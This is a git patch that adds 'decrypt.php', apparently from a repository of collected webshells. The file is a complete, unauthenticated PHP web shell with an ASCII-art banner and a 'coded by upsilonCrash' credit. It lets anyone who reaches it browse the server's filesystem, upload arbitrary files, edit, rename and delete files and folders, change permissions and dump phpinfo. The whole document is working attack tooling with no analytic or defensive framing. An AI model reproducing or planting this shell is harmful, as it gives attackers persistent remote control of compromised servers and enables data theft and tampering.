From bcf94c97a77c0fd9e451a14b9ab1c4469ed91728 Mon Sep 17 00:00:00 2001 From: tennc <670357+tennc@users.noreply.github.com> Date: Fri, 30 Sep 2022 23:19:23 +0800 Subject: [PATCH] Create decrypt.php --- upsi1on/webshell/sungux/decrypt.php | 745 ++++++++++++++++++++++++++++ 1 file changed, 745 insertions(+) create mode 100644 upsi1on/webshell/sungux/decrypt.php diff --git a/upsi1on/webshell/sungux/decrypt.php b/upsi1on/webshell/sungux/decrypt.php new file mode 100644 index 0000000..a88cefe --- /dev/null +++ b/upsi1on/webshell/sungux/decrypt.php @@ -0,0 +1,745 @@ + + body { + color: Gray; + background: #353535; + font-weight: Bold; + font-family: Arial; + font-size: 14px; + } + + input[id=one] { + background: Transparent; + color: Gray; + font-weight: Bold; + border: #353535 1px solid; + } + + input[id=textinput] { + border: 1px #353535 solid; + background: #353535; + color: Gray; + font-weight: Bold; + width: 50%; + } + + input[type=submit] { + background: Transparent; + color: Gray; + font-weight: Bold; + border: #353535 1px solid; + } + + input[type=file] , [id=three] { + width: 30%; + border: 1px Gray solid; + border-radius: 10px; + background: #353535; + color: Gray; + } + + input[id=two] { + margin-left: 70px; + } + + a { + text-decoration: none; + color: Gray; + } + + table { + font-weight: Bold; + } + + textarea { + width: 90%; + height: 50%; + } + + .iclass { + margin-left: 40px; + } + + +"; + +if (isset($_POST["phpinfo"])) { + echo "back"; + phpinfo(); + exit; +} + +echo "
+.d8888b 888 888 88888b. .d88b. 888 888 888 888 +88K 888 888 888 '88b d88P'88b 888 888 `Y8bd8P' +'Y8888b. 888 888 888 888 888 888 888 888 X88K + X88 Y88b 888 888 888 Y88b 888 Y88b 888 .d8''8b. +d88888P' 'Y88888 888 888 'Y88888 'Y88888 888 888 + 888 + Y8b d88P + 'Y88P' +
"; + +$path = base64_decode($_GET["path"]); + +if (is_dir($path)) { + if ($path !== "/") { + $slash = "/"; + } else { + $slash = ""; + } +} else { + $checkslash = substr($path, 2); + if (is_dir($checkslash)) { + if ($checkslash !== "/") { + $slash = "/"; + } else { + $slash = ""; + } + } else { + if (is_file($checkslash)) { + if ($checkslash !== "/") { + $slash = "/"; + } else { + $slash = ""; + } + } + } +} + +if (!is_dir($path)) { + if (substr($path, 0, 2) == "#E") { + if (!is_file(substr($path, 2))) { + header("Location: ?path=".base64_encode(__DIR__).""); + } + } else { + if (substr($path, 0, 2) == "#R") { + if (!is_file(substr($path, 2))) { + if (!is_dir(substr($path, 2))) { + header("Location: ?path=".base64_encode(__DIR__).""); + } + } + } else { + if (substr($path, 0, 2) == "#D") { + if (!is_file(substr($path, 2))) { + if (!is_dir(substr($path, 2))) { + header("Location: ?path=".base64_encode(__DIR__).""); + } + } + } else { + if (substr($path, 0, 2) == "#C") { + if (!is_file(substr($path, 2))) { + if (!is_dir(substr($path, 2))) { + header("Location: ?path=".base64_encode(__DIR__).""); + } + } + } else { + header("Location: ?path=".base64_encode(__DIR__).""); + } + } + } + } +} +echo "
"; + +if (isset($_POST["move_upload"])) { + if (strpos($_POST["uptopath"], "..") !== FALSE) { + echo " + + "; + } + $fileName = $_FILES["file"]["name"]; + $tmpName = $_FILES["file"]["tmp_name"]; + $upload = $_POST["uptopath"].$slash.$fileName; + if (is_file($upload)) { + echo " + + "; + } else { + if (move_uploaded_file($tmpName, $upload)) { + echo " + + "; + } else { + echo " + + "; + } + } +} + +if (isset($_POST["crf"])) { + if (is_dir($_POST["pathfolder"])) { + if (strpos($_POST["pathfolder"], "..") !== FALSE) { + echo " + + "; + } + if (strpos($_POST["foldername"], "/") !== FALSE) { + echo " + + "; + } else { + $o2 = explode("/", $_POST["pathfolder"]); + $o2 = implode("/", $o2); + $o2 = $o2.$slash.$_POST["foldername"]; + if (!is_dir($o2)) { + if (mkdir($o2)) { + echo " + + "; + } else { + echo " + + "; + } + } else { + echo " + + "; + } + } + } else { + echo " + + "; + } +} + +if (isset($_POST["crfl"])) { + if (strpos($_POST["pathfile"], "..") == FALSE) { + if (is_dir($_POST["pathfile"])) { + $slashcheck = explode("/", $_POST["pathfile"]); + $slashcheck = implode("/", $slashcheck).$slash; + if (strpos($_POST["filename"], "/") == FALSE) { + $filePath9 = $slashcheck.$_POST["filename"]; + if (!is_file($filePath9)) { + $createFile = fopen($filePath9, "x"); + if ($createFile) { + echo " + + "; + } else { + echo " + + "; + } + } else { + echo " + + "; + } + } else { + echo " + + "; + } + } else { + echo " + + "; + } + } else { + echo " + + "; + } +} + +if (substr($path, 0, 2) == "#E") { + echo "
"; + $back = dirname(substr($path, 2)); + if (isset($_POST["save_edit"])) { + $delta = substr($path, 2); + $editz = fopen($delta, "w"); + if (fwrite($editz, $_POST["edit_data"])) { + echo " + + "; fclose($editz); + } else { + echo " + + "; fclose($editz); + } + } + if (filesize(substr($path, 2)) == 0) { + echo " +
cancel + + "; + } else { + $textareaValue = fopen(substr($path, 2), "r"); + $textareaValue = fread($textareaValue, filesize(substr($path, 2))); + $textareaValue = htmlspecialchars($textareaValue); + echo " + +
cancel + "; + fclose($textareaValue); + } + exit; +} + +if (substr($path, 0, 2) == "#R") { + echo ""; + $delta = substr($path, 2); + $back = dirname($delta); + if (isset($_POST["submit_rename"])) { + $alphacheck = dirname($delta).$slash.$_POST["rename"]; + if (!is_dir($alphacheck)) { + if (!is_file($alphacheck)) { + if (rename($delta, $alphacheck)) { + echo " + + "; + } else { + echo " + + "; + } + } else { + echo " + + "; + } + } else { + echo " + + "; + } + } + echo " +
+ cancel + "; + exit; +} + +if (substr($path, 0, 2) == "#D") { + $delta = substr($path, 2); + $back = dirname($delta); + + if (isset($_POST["submit_delete"])) { + if (is_dir($delta)) { + if (rmdir($delta)) { + echo " + + "; + } else { + echo " + + "; + } + } else { + if (unlink($delta)) { + echo " + + "; + } else { + echo " + + "; + } + } + } + + if (is_dir($delta)) { + $cat = "folder"; + } else { + $cat = "file"; + } + echo "path :
+ name :
+ are you sure to permanently delete this ".$cat."?
+ no + "; + exit; +} + +if (substr($path, 0, 2) == "#C") { + + $home = dirname(substr($path, 2)); $home = base64_encode($home); + $perms = substr(sprintf('%o',fileperms(substr($path, 2))),-3); + + $chv = fileperms(substr($path, 2)); + $a = ($chv & 00400) ? ' checked' : ''; + $b = ($chv & 00040) ? ' checked' : ''; + $c = ($chv & 00004) ? ' checked' : ''; + $d = ($chv & 00200) ? ' checked' : ''; + $e = ($chv & 00020) ? ' checked' : ''; + $f = ($chv & 00002) ? ' checked' : ''; + $g = ($chv & 00100) ? ' checked' : ''; + $h = ($chv & 00010) ? ' checked' : ''; + $i = ($chv & 00001) ? ' checked' : ''; + + if (isset($_POST["submit_chmod"])) { + $chmode = 0; + if (!empty($_POST['ra'])) { + $chmode |= 0400; + } + if (!empty($_POST['wa'])) { + $chmode |= 0200; + } + if (!empty($_POST['ea'])) { + $chmode |= 0100; + } + if (!empty($_POST['rb'])) { + $chmode |= 0040; + } + if (!empty($_POST['wb'])) { + $chmode |= 0020; + } + if (!empty($_POST['eb'])) { + $chmode |= 0010; + } + if (!empty($_POST['rc'])) { + $chmode |= 0004; + } + if (!empty($_POST['wc'])) { + $chmode |= 0002; + } + if (!empty($_POST['ec'])) { + $chmode |= 0001; + } + if (chmod(substr($path, 2), $chmode)) { + echo " + + "; + } else { + echo " + + "; + } + } + + echo " +
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
PermissionsOwnerGroupOther
Read
Write
Execute

+
cancel +
+ "; exit; +} + +if (isset($_POST["upload"])) { + echo " + upload to :
+
cancel + + "; exit; +} + +if (isset($_POST["create_folder"])) { + echo " + create on :
+
cancel + + "; exit; +} + +if (isset($_POST["create_file"])) { + echo " + create on :
+
cancel + + "; exit; +} + +echo " +
+ + + +"; + +echo ""; + +if ($path !== "/") { + $alpha = dirname($path); + echo ""; +} + +$scanPath = scandir($path); +$scanPath = array_diff($scanPath,array('.','..')); +$scanPath = array_values($scanPath); + +for ($i = 0; $i < count($scanPath); $i++) { + $iota = $scanPath[$i]; + if (is_dir($path.$slash.$iota)) { + + $result = filemtime($path.$slash.$iota); $result = getdate($result); + $one = strlen($result["mday"]); $two = strlen($result["mon"]); + $three = strlen($result["year"]); $four = strlen($result["hours"]); + $five = strlen($result["minutes"]); + if ($one == "1") { + $result["mday"] = "0".$result["mday"]; + } if ($two == "1") { + $result["mon"] = "0".$result["mon"]; + } if ($three == "1") { + $result["year"] = "0".$result["year"]; + } if ($four == "1") { + $result["hours"] = "0".$result["hours"]; + } if ($five == "1") { + $result["minutes"] = "0".$result["minutes"]; + } $result = $result["mday"]."-".$result["mon"]."-".$result["year"]." ".$result["hours"].":".$result["minutes"]; + + echo " + + + + "; + } +} + +for ($i = 0; $i < count($scanPath); $i++) { + + $iota = $scanPath[$i]; + $pathType = mime_content_type($path.$slash.$iota); + $pathType = explode("/", $pathType); + $sizeA = filesize($path.$slash.$iota); + $filesize = $sizeA; + $sizeks = "B"; + if ($sizeA > 1024) { + $filesize = round($sizeA / 1024); + $sizeks = "KB"; + } if ($sizeA > 1024 * 1024) { + $filesize = round($sizeA / 1024 / 1024); + $sizeks = "MB"; + } if ($sizeA > 1024 * 1024 * 1024) { + $filesize = round($sizeA / 1024 / 1024 / 1024); + $sizeks = "GB"; + } if ($sizeA > 1024 * 1024 * 1024 * 1024) { + $filesize = round($sizeA / 1024 / 1024 / 1024 / 1024); + $sizeks = "TB"; + } if ($sizeA > 1024 * 1024 * 1024 * 1024 * 1024) { + $filesize = round($sizeA / 1024 / 1024 / 1024 / 1024 / 1024); + $sizeks = "PB"; + } if ($sizeA > 1024 * 1024 * 1024 * 1024 * 1024 * 1024) { + $filesize = round($sizeA / 1024 / 1024 / 1024 / 1024 / 1024 / 1024); + $sizeks = "EB"; + } if ($sizeA > 1024 * 1024 * 1024 * 1024 * 1024 * 1024 * 1024) { + $filesize = round($sizeA / 1024 / 1024 / 1024 / 1024 / 1024 / 1024 / 1024); + $sizeks = "ZB"; + } if ($sizeA > 1024 * 1024 * 1024 * 1024 * 1024 * 1024 * 1024 * 1024) { + $filesize = round($sizeA / 1024 / 1024 / 1024 / 1024 / 1024 / 1024 / 1024 / 1024); + $sizeks = "YB"; + } + + $result = filemtime($path.$slash.$iota); $result = getdate($result); + $one = strlen($result["mday"]); $two = strlen($result["mon"]); + $three = strlen($result["year"]); $four = strlen($result["hours"]); + $five = strlen($result["minutes"]); + if ($one == "1") { + $result["mday"] = "0".$result["mday"]; + } if ($two == "1") { + $result["mon"] = "0".$result["mon"]; + } if ($three == "1") { + $result["year"] = "0".$result["year"]; + } if ($four == "1") { + $result["hours"] = "0".$result["hours"]; + } if ($five == "1") { + $result["minutes"] = "0".$result["minutes"]; + } $result = $result["mday"]."-".$result["mon"]."-".$result["year"]." ".$result["hours"].":".$result["minutes"]; + + if ($pathType[0] == "text") { + echo " + + + + "; + } else { + if ($pathType[0] == "application") { + echo " + + + + "; + } + } +} + +for ($i = 0; $i < count($scanPath); $i++) { + + $iota = $scanPath[$i]; + $pathType = mime_content_type($path.$slash.$iota); + $pathType = explode("/", $pathType); + if ($pathType[0] !== "application") { + if ($pathType[0] !== "text") { + if (is_file($path.$slash.$iota)) { + + $sizeA = filesize($path.$slash.$iota); + $filesize = $sizeA; + $sizeks = "B"; + if ($sizeA > 1024) { + $filesize = round($sizeA / 1024); + $sizeks = "KB"; + } if ($sizeA > 1024 * 1024) { + $filesize = round($sizeA / 1024 / 1024); + $sizeks = "MB"; + } if ($sizeA > 1024 * 1024 * 1024) { + $filesize = round($sizeA / 1024 / 1024 / 1024); + $sizeks = "GB"; + } if ($sizeA > 1024 * 1024 * 1024 * 1024) { + $filesize = round($sizeA / 1024 / 1024 / 1024 / 1024); + $sizeks = "TB"; + } if ($sizeA > 1024 * 1024 * 1024 * 1024 * 1024) { + $filesize = round($sizeA / 1024 / 1024 / 1024 / 1024 / 1024); + $sizeks = "PB"; + } if ($sizeA > 1024 * 1024 * 1024 * 1024 * 1024 * 1024) { + $filesize = round($sizeA / 1024 / 1024 / 1024 / 1024 / 1024 / 1024); + $sizeks = "EB"; + } if ($sizeA > 1024 * 1024 * 1024 * 1024 * 1024 * 1024 * 1024) { + $filesize = round($sizeA / 1024 / 1024 / 1024 / 1024 / 1024 / 1024 / 1024); + $sizeks = "ZB"; + } if ($sizeA > 1024 * 1024 * 1024 * 1024 * 1024 * 1024 * 1024 * 1024) { + $filesize = round($sizeA / 1024 / 1024 / 1024 / 1024 / 1024 / 1024 / 1024 / 1024); + $sizeks = "YB"; + } + + $result = filemtime($path.$slash.$iota); $result = getdate($result); + $one = strlen($result["mday"]); $two = strlen($result["mon"]); + $three = strlen($result["year"]); $four = strlen($result["hours"]); + $five = strlen($result["minutes"]); + if ($one == "1") { + $result["mday"] = "0".$result["mday"]; + } if ($two == "1") { + $result["mon"] = "0".$result["mon"]; + } if ($three == "1") { + $result["year"] = "0".$result["year"]; + } if ($four == "1") { + $result["hours"] = "0".$result["hours"]; + } if ($five == "1") { + $result["minutes"] = "0".$result["minutes"]; + } $result = $result["mday"]."-".$result["mon"]."-".$result["year"]." ".$result["hours"].":".$result["minutes"]; + + echo " + + + "; + } + } + } +} + +echo "
D
|
-
".$result."
".substr(sprintf('%o',fileperms($path.$slash.$iota)),-4)."
O + R + D
F
|
".$filesize.$sizeks."
".$result."
".substr(sprintf('%o',fileperms($path.$slash.$iota)),-4)."
E + R + D
F
|
".$filesize.$sizeks."
".$result."
".substr(sprintf('%o',fileperms($path.$slash.$iota)),-4)."
E + R + D
F
|
".$filesize.$sizeks."
".$result."
".substr(sprintf('%o',fileperms($path.$slash.$iota)),-4)."
R + D

coded by upsilonCrash"; + +?>